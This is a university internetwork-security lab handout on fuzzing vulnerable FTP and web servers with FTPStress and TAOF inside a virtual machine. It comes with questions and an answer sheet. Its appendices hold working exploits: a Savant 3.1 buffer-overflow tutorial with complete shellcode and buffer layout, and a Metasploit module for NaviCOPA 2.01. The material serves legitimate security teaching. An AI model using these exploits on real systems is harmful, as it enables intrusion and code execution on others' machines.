Tuesday, January 25, 2022

The fuzzy lab - internetwork security


ECE4112 Internetwork Security

Lab X: The Fuzzy Lab


Group Number: ____________

Member Names: _______________________  _______________________


Date Assigned:

Due Date:

Last Edited on:


Lab Authored by:  Jonathan King, Andrew Mishoe


Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions on the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the date due.


Goal and Summary:

This laboratory addition will explore the use of “fuzzy tools” to look for security vulnerabilities such as DoS attacks, SQL injections, or buffer overflow in network programs such as ftp servers and http web servers.  There are many open-source tools that will be analyzed and demonstrated.  This lab will demonstrate the use of T.A.O.F (the art of fuzzying), a general network fuzzier, and ftpfuzz which is a protocol-specific fuzz program.  The demonstration of these fuzzers will show how the uses as a both defensive and offensive network tool.


Background and Theory:  

Fuzzing is not a new technique for vulnerability discovery yet it has been a highly successful black box testing technique arguably responsible for the majority of vulnerabilities that we see today. While fuzzing tools for network vulnerabilities have been around for some time, similar tools for web applications and web services are still in their infancy. In many ways, web applications are better suited for fuzzing. Web apps freely reveal information about expected user inputs, making the generation of (in)appropriate test cases far more streamlined, while web services go one step further by openly providing a structured blueprint for the data that is expected. [2]


A fuzzer is a program that attempts to discover security vulnerabilities by sending random input to an application. If the program contains a vulnerability that can leads to an exception, crash or server error (in the case of web apps), it can be determined that a vulnerability has been discovered. Fuzzers are often termed Fault Injectors for this reason, they generate faults and send them to an application. Generally fuzzers are good at finding buffer overflow, DoS, SQL Injection, XSS, and Format String bugs. They do a poor job at finding vulnerabilities related to information disclosure, encryption flaws and any other vulnerability that does not cause the program to crash. [3]



·       Red Hat WS 4

·       Windows XP Virtual Machine


Section 1: FTPStress Fuzzer




Infigo FTPStress Fuzzer (http://www.infigo.hr/en/in_focus/tools) is a specific fuzzer for finding vulnerabilities in FTP server products. Although it is a simple tool, it proved its efficiency by the number of vulnerabilities discovered in different FTP server software tested with this tool.
The parameters used for the fuzzing process are highly configurable. User can precisely define which FTP commands will be fuzzed along with the size and type of the fuzzing data. [1]


Section 1.1 – Finding Exploits in CesarFTP


Start installing CesarFTP (https://www.securinfos.info/old-softwares-vulnerable.php) by executing the CesarFTP_0.99g.EXE file.  Leave all values at their default values and continue clicking next until the installation is finished.  Once the installation is complete, execute the CaesarFTP from the start menu. 


Once CesarFTP is running, a new user and password needs to be created in it.  Do this by clicking ‘settings’, and then ‘edit users and groups’.  Then Click the add user button the bottom left.  In the User/Group Name field, enter test.  In the login field, enter test.  Also check the box next to Password and enter test in the password field.  Click OK.  Make sure that the bottom right says Status: Opened.  If it doesn’t, click the stop/start server button(in the shape of a traffic light) on the top left.


Now it is time to set up the FTPStress Fuzzer.  Start by click on the Host field and entering in localhost.  Make sure that the port is set to 21.  Then click on the USER Command on the left of the screen, change the command argument to test and click update change.  Also make sure Fuzz this FTP command is not selected.  Then click on the PASS Command on the left of the screen, change the command argument to test and click update change.  Also make sure Fuzz this FTP command is not selected.


Now the Fuzzer is set up and ready to be used on the Cesar FTP server.  Initiate the Fuzzer by clicking the start button.   


After the Fuzzer has completed, click control-alt-del and click the performance tab.  Then answer the following questions.


Q1.1.1  How much of the CPU is being used?


Screenshot 1: Take a screen shot of the CPU usage

Q1.1.2  Look at the FTP fuzzer results.  Did the FTP server stop working?


Q1.1.3  Look at the FTP fuzzer results.  What command caused the CPU overload?


Section 1.2 – Finding Vulnerabilities in ArgoSoft FTP Server


On your Windows XP virtual machine:  Copy the ArGoSoft FTP Server v1.4.3.1.zip and faultmon.zip to the windows tools folder on your Windows XP Machine.  Extract both files onto your Windows machine.  Faultmon (http://research.eeye.com/html/tools/) is a command-line debugger that will be used to see the exceptions generated by the ftp server.  No installation is required for faultmon. 


Begin by installing ArgoSoft FTP Server (https://www.securinfos.info/old-softwares-vulnerable.php) by running fssetup.exe which will extract the install files for the ftp server.  Click next to accept the installation settings, then click “Start Installation.”  Select OK and Finish to close the installation.  Run ArgoSoft FTP Server, and add a new user with the Users button, or by pressing control + u.  Set the username to “test” and the password to “test.”  If the program asks you for a current directory, just select the desktop as the default.  Start the ftpserver using the green “start” button.  Make sure the program says “FTP Server started - Listening on part 21.” 


Open FTPStress fuzzer.  Under Config, select “Fuzz all selected commands in same FTP session.”  Enter localhost as the Host to connect to.  Before running the ftp fuzzer, run faultmon on the ftp server using a command prompt.  Open a command window, then navigate to the installation directory of faultmon.  Run the program using the following command:


faultmon -p <process id of ftp server>


The process id of the ftp server can be found using the command “tasklist” at the command prompt which will return a list of all running processes similar to the task manager.  Once the debugger is running, begin fuzzing the ftp server using the FTPStress fuzzer.  After a few minutes of fuzzing, the ftp server will begin to have buffer overflows and will deny some ftp commands. 


Screenshot 2: Take a screen shot of ArgoSoft FTP Server showing the buffer overflow.


Screenshot 3: Take a screen shot of some of the exceptions found by faultmon caused by fuzzing. 





Section 2: The Art of Fuzzing




TAOF (http://www.theartoffuzzing.com) is a Python generic network protocol fuzzing framework. It has been designed for minimizing set-up time during fuzzing sessions and employs graphical user interface to make it intuitive and easy. Even though it is a generic protocol framework, it is not designed as a library and no programming skills are necessary. It is especially useful for fast testing of proprietary, undocumented or unknown network protocols.


Taof aids the user by automatically retrieving the data by a man-in-the-middle approach.

Man-in-the-middle is a scenario in which an attacker can eavesdrop on the traffic between two parties without either of the parties knowing that the traffic has been intercepted. In addition this attack also allows the attacker to modify, inject and delete traffic, but that does not apply here. In this scenario the fuzzer transparently forwards requests from the client to the server and replies from the server to the client. During that process, the fuzzer logs the requests for later use. [8]


Section 2.1 – NaviCOPA Web Server (http)


NaviCOPA web server (http://www.navicopa.com/) is vulnerable to a buffer overflow when a client sends a GET request against the ‘cgi-bin’ folder followed by a long string.  This section of the lab will demonstrate to use of fuzzy tools to discover the buffer overflow. 


On your Windows XP virtual machine:  Copy the navicpa.exe and taof-0.3.2_Win32 file to the windows tools folder on your Windows XP Machine.  Extract taof-0.3.2_Win32.zip onto your machine.  No installation is required for this software for it to run properly.  Install the NaviCOPA web server on the same machine and accept all default settings during the installation.  The web server will launch automatically bringing up an internet browser displaying that the web server has been installed and is working correctly. 


Open taof.exe which can be found in the taof-0.3.2_Win32 folder that you extracted.  The first step to configure taof is to set the network settings to act as a man-in-middle attack.  Click ‘Data Retrieval’, then ‘Network Setting’.  Insert the following settings and click ok to accept the changes.


  • Local Server –
  • Local Port – 81
  • Remote server – localhost
  • Remote port – 80
  • tcp checked

The data retrieval tool is now configured and is ready to listen to the selected ports used on the web server.  Click ‘Start” in the data retrieval window to initialize toaf in listening mode. 


Open an internet browser such as mozilla, if it is not already open, and enter http://localhost:81/ into the path window.  The browser should again display the NaciCOPA web server page that was shown after first installing the program. 


Enter ‘http://localhost:81/cgi-bin/’ into the browser to make the web server issue a GET command on the /cgi-bin/ folder. 


Q2.1.1  What do you see after attempting to load this page?


Stop the listening mode taof and examine the Request list and the contents captured.  Find the request when the GET command is called on the /cgi-bin/ folder/, and double-click it.  In the Fuzz Request dialog box, highlight the slash after /cgi-bin as shown in the figure below.


You need to change the “From” field to be 13 and match the “To” field, and then click Add to set this as a fuzzy point which will be used later.  Click OK.


Back on the main Taof screen, select ‘Fuzzing’ next to the ‘Data Retrieval’ button used earlier in the section.  Leave the Target information the same using localhost as the server, port 80, and tcp as the protocol. 


Select attach process.  Scroll down the process list and find the navicpnt.exe file which is the running NaviCOPA web server.  Clicking the process tab sorts the services into alphabetical order which will help find the service faster.  Select navicpnt.exe and click OK.  Click start to begin fuzzing. 


Q2.1.2  Examine the results of the fuzzing command.  What kind(s) of overflow are found?


Screenshot 4: Take a screen shot of the buffer overflow results.


Appendix B is a reference to an exploit designed for the NaviCOPA webserver.  It is written as a metasploit framework and is exploiting the vulnerability discovered in this section. 


Section 2.2 – Finding Exploits in the Savant Web Server


In your Windows virtual machine, double click on the Savant31.exe file to begin the installation of the Savant Web Server. Accept all default values and keep clicking next until the installation is finished.Now run the Savant Web Server by clicking start\AllPrograms\SavantWebServer\SavantWebServer.


Once the Server is done loading, unzip the file taof-0.3.2_Win32.zip. Then double click the taof.eve file located in the taof-0.3.2_Win32 folder that was just created.


Now we will configure Taof to sit in the middle of the web browser and the server, by click on Data Retrieval and then network settings in Toaf.  In the Network seetings box that is now opened, set local server and remote server to localhost, set local port to 81, and remote port to 80.  Make sure the tcp is selected on the bottom and then click ok.  Now click the start button which is the data retrieval box (should be the box you are currently in)


Now we will open a web browser and connect to Taof.  Taof will silently log all the traffic and then forward the request to the remote server.  This is accomplished by first opening up firefox.  In the URL box, type localhost:81.


Now that Taof has logged our request, stop Taof by clicking the stop button in the data retreivel window.  A request should now be in Taof’s Request List. 


We will now add some fuzzing points.  Double click on the newly created request.  Highlight from the beginning of /HTTP to the end of keep-alive as shown in the picture below and click add.  A fuzzing point should come up Fuzzing points field.  Now click ok


Now we will begin fuzzing the server and attach the savant process to Taof to monitor it and see how it reacts to the fuzzing.  Begin this by clicking the Fuzzing icon on the Taof window.  Then click the Attach process button.  Now select the savant.exe process and click ok. The Taof’s Fuzzing box should look similar to the below picture.  Then click start to begin fuzzing.


The results of the fuzzing will be displayed in the fuzzing window.



Q2.2.1  What does TAOF say is a good thing in the fuzzing results?


Screenshot 5: Take a screen shot of bottom half of the results.



After fuzzing, a new folder should be created in your taof-0.3.2_Win3.  The new folder contains a file called debug.dat which shows a more detailed analysis of the fuzzing.  Take a look at the requests and responses that were generated.  


Q2.2.2  What error is being reported?  What does this mean?


Appendix A shows a detailed example of how to exploit the buffer overflow that we just re-discovered using fuzzing.


Section 3: Defense against Fuzzing Vulnerabilities


The previous two sections of this laboratory went over the uses of fuzzing programs to find exploits in different network based applications.  These programs can be used by both the good guys and the bad guys however to find the vulnerabilities in these applications.  For instance, by fuzzing a ftp server that you have running on your own personal computer, you can determine if there are vulnerabilities that could be exploited by someone wishing to gain access to your machine.  Many of the vulnerabilities that were discovered by the fuzzing programs involved buffer overflows and other denial of services exploits.  Using your recently acquired knowledge of how fuzzy programs work, answer the following questions.


Q3.1.1  What is the best defense against vulnerabilities found using fuzzing programs?


Q3.1.2  Is it possible to have applications that are resistant to fuzzing attempts?










Appendix A

Savant 3.1 Web Server Buffer Overflow Tutorial


Description of the Savant Web Server

Savant is a freeware open source web server that runs on Windows 9x, ME, NT, 2000, and XP turning any desktop computer into a powerful web server. Designed to be fast, secure, and efficient, Savant is the choice of thousands of professional and amateur webmasters worldwide.

The Vulnerability

Savant Web Server 3.1 (other versions not checked) is vulnerable to multiple buffer overflows in GET, POST and other HTTP requests. The overflow can be reproduced by sending a HEAD request with 256 characters to the web server, and may lead to command execution. We will use a simple python script combined with Netcat to investigate the buffer overflow condition.

buffer = 'HEAD / ' + '\x41' * 256 +'\r\n'
print  buffer

We execute the script, and pipe it to localhost , port 80 via Netcat:

The Server crashes with the following error screen:


Building the Exploit:

We attach ollydbg to the savant.exe process, and reproduce the overflow.

We can see that the EIP is overwritten.


NOTE: more than 256 bytes in the buffer will *NOT* cause an overflow. 
There probably is some form of bounds checking on the HTTP requests.
Unfortunately,  this complicates matters when it comes to writing the exploit
code, as we will  not have enough space for our shellcode.

We see that the pointer to "HEAD" is 4 bytes after (or before) the ESP – in our example ESP is pointing to 00C6EA60, while the "HEAD" pointer is at 00C6EA64. Since the "HEAD" field *is* user controlled, we can use this field to jump into our shellcode. We also notice that there are a few "non user controlled bytes" after the "HEAD" command. We need to take this into account when building our exploit, and make sure we jump over these bytes, in order to land safely in our shellcode. Will will use a "short jump" (EB) to skip over these, and land in our shellcode.


Finding a Return Address:

We can find pop, ret : View -> Executable Modules: Check which dlls are loaded.

From the Metasploit site:

We found that 75022AC4 contains pop,pop.ret. Since we need pop,ret, we will skip one of the pop commands, by adding +1 to our return address, which will now be 075022AC5.

Generating the Shellcode

We can use shellcode from the Metasploit site: http://metasploit.com:55555/PAYLOADS For this example, we will use the "win32_exec" payload, which executes the "calc.exe" command.

We *must* not forget specific characters which might be filtered by the HTTP protocol, such as 0x00 (null), 0x20 (space), 0x0A (new line), 0x0D (new line). We will add these characters in the "Bad Chars" field in the Metasploit web page.

The resulting calc.exe shellcode looks like this (172 bytes):


We can now start constructing our exploit:

# padding to reach buffer (80 bytes)
sc = '\x90' * 80
# calc.exe Shellcode(172 bytes)
sc += "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
sc += "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
sc += "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
sc += "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
sc += "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
sc += "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
sc += "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
sc += "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
sc += "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
sc += "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4"
# Windows 2000 SP0,1,2,3,4 (pop,pop,ret+1)= (pop,ret)
# Thanks Metasploit!
buffer = '\xEB\x30' + ' /' + sc + return_address + '\r\n\r\n'
print  buffer

We run the exploit code, and to our dismay, we don't see out shellcode being executed.

Fine tuning our exploit:

We change the return address back to \x41\x41\x41\x41, and execute our exploit code. It seems like the EIP isn't being overwritten in its entirety. In fact, it seem like we are off our target by 3 bytes.

We can add 3 bytes in the beginning of the shellcode (part of the nop slide)

#padding to reach buffer (80 bytes)
sc = '\x90' * 80
#padding to reach buffer (83 bytes)
sc = '\x90' * 83

Once executed, we get the following:

We can now bask in the glory of calc.exe.













Appendix B


# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
package Msf::Exploit::naviCopa_cgi;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
        'Name'    => 'Buffer Overflow in NaviCopa HTTP server 2.01 (cgi-bin)',
        'Version' => '$Rev: 3818 $',
        'Authors' => [ 'www.skillTube.com', ],
        'Arch'  => [ 'x86' ],
        'OS'    => [ 'win32' ],
        'Priv'  => 1,
        'AutoOpts' => { 'EXITFUNC' => 'process' },
        'UserOpts'  =>
               'RHOST' => [1, 'ADDR', 'The target address'],
               'RPORT' => [1, 'PORT', 'The target port', 80],
               'URL'   => [1, 'DATA', 'The URL to the cgi-bin', '/cgi-bin/'],
               'SSL'   => [0, 'BOOL', 'Use SSL'],
        'Payload' =>
               'Space'     => 900,
               'BadChars'  => "\x00\x26\x3d\x0a\x0d\x25\x2b\x2e\x3f",
        'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the NaviCopa HTTP server 
        2.01 (release version 6th October 2006 or earlier). It is not the
        same vulnerability as the one described in BID 20250. 
        The vulnerability was found by a member of skillTube.com and
        allows reliable code execution. The only thing that may vary
        is the path to the NaviCopa installation folder. On an English
        version of Windows, it resides in the c:\\program files\\navicopa
        directory. In that case, eip is overwritten with char 271 to 274. 
        To add a new target version of Windows (e.g. Spanish, Italian etc.),
        you only need to change the offset to eip. As an example, in a 
        German version of Windows, the installation directory of navicopa is
        c:\\programme\\navicopa. As a result, the path length is four characters 
        shorter than on an English version of Windows. As a consequence, the
        offset to eip has to be increased by four. 
        Exploit was successfully tested against Windows 2000, XP and
        Windows Vista (regardless of ASLR).           
        'Refs'  =>  [
               ['URL', 'http://www.skilltube.com'],
        'DefaultTarget' => 0,
        'Targets' =>
               ['Universal exploit for all English versions of Windows (XP,2000,Vista)', 270,  0x1002c46f],  # push esp, retn 
               ['Universal exploit for all German versions of Windows (XP,2000,Vista)', 274,  0x1002c46f],  # push esp, retn 
        'Keys' => ['naviCopa'],
        'DisclosureDate' => 'March 2007',
sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
sub Exploit {
        my $self = shift;
        my $target_host = $self->GetVar('RHOST');
        my $target_port = $self->GetVar('RPORT');
        my $target_path = $self->GetVar('URL');
        my $target_idx  = $self->GetVar('TARGET');
        my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
        my $target = $self->Targets->[$target_idx];
        $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
        my $pattern = "A"x900;
        my $jmp = "\xeb\x04";
        substr($pattern, $target->[1]    , 4, pack('V', $target->[2])); # ret
        substr($pattern, $target->[1] + 42, length($jmp), $jmp);
        substr($pattern, $target->[1] + 44   , 4, pack('V', $target->[2])); #edx 
        substr($pattern, $target->[1] + 48 , length($shellcode), $shellcode);
        my $request =
          "GET $target_path$pattern HTTP/1.1\r\n".
          "Host: $target_host:$target_port\r\n\r\n";
        my $s = Msf::Socket::Tcp->new
               'PeerAddr'  => $target_host,
               'PeerPort'  => $target_port,
               'LocalPort' => $self->GetVar('CPORT'),
               'SSL'       => $self->GetVar('SSL'),
        if ($s->IsError) {
               $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
        $self->PrintLine("[*] Waiting for a response...");
        my $r = $s->Recv(-1, 5);
# milw0rm.com [2007-03-27]



[1] Summary Paragraph 1 Section 1



[2] Summary Paragraph 1 Section 2

Reference: http://www.blackhat.com/html/bh-dc-07/bh-dc-07-speakers.html#Cerrudo


[3] Summary Paragraph 2 Section 2

Reference: http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html


[4] Appendix A



[5] Appendix B



[6] CesarFTP information



[7] Old Software that can be exploited



[8] TOAF Guide




 Answer Sheet Lab 11


Group Number:_____________


Member Names: ______________________   _______________________




Section 1.1 – Finding Exploits in CesarFTP



Q1.1.1  How much of the CPU is being used?





Screenshot 1: Take a screen shot of the CPU usage



Q1.1.2  Look at the FTP fuzzer results.  Did the FTP server stop working?





Q1.1.3  Look at the FTP fuzzer results.  What command caused the CPU overload?





Section 1.1 – Finding Exploits in ArgoSoft FTP



Screenshot 2: Take a screen shot of ArgoSoft FTP Server showing the buffer overflow.



Screenshot 3: Take a screen shot of some of the exceptions found by faultmon caused by fuzzing. 








Section 2.1 – NaviCOPA Web Server (http)


Q2.1.1  What do you see after attempting to load this page?






Q2.1.2  Examine the results of the fuzzing command.  What kinds of overflows are found?  What commands cause the overflow?





Screenshot 4: Take a screen shot of the buffer overflow results.


Section 2.2 – Finding Exploits in the Savant Web Server


Q2.2.1  What does TAOF say is a good thing in the fuzzing results?





Screenshot 5: Take a screen shot of bottom half of the results.


Q2.2.2  What error is being reported?  What does this mean?





Section 3.1 – Fuzzing Defense


Q3.1.1  What is the best defense against vulnerabilities found using fuzzing programs?






Q3.1.2  Is it possible to have applications that are resistant to fuzzing attempts?







How long did it take you to complete this lab? Was it an appropriate length lab?












What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyz adds a capability or additional or better learning experience for future students here is what you need to do.  You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web site.









Turn In Checklist


·        Completed Answer Sheet

·        5 Screenshots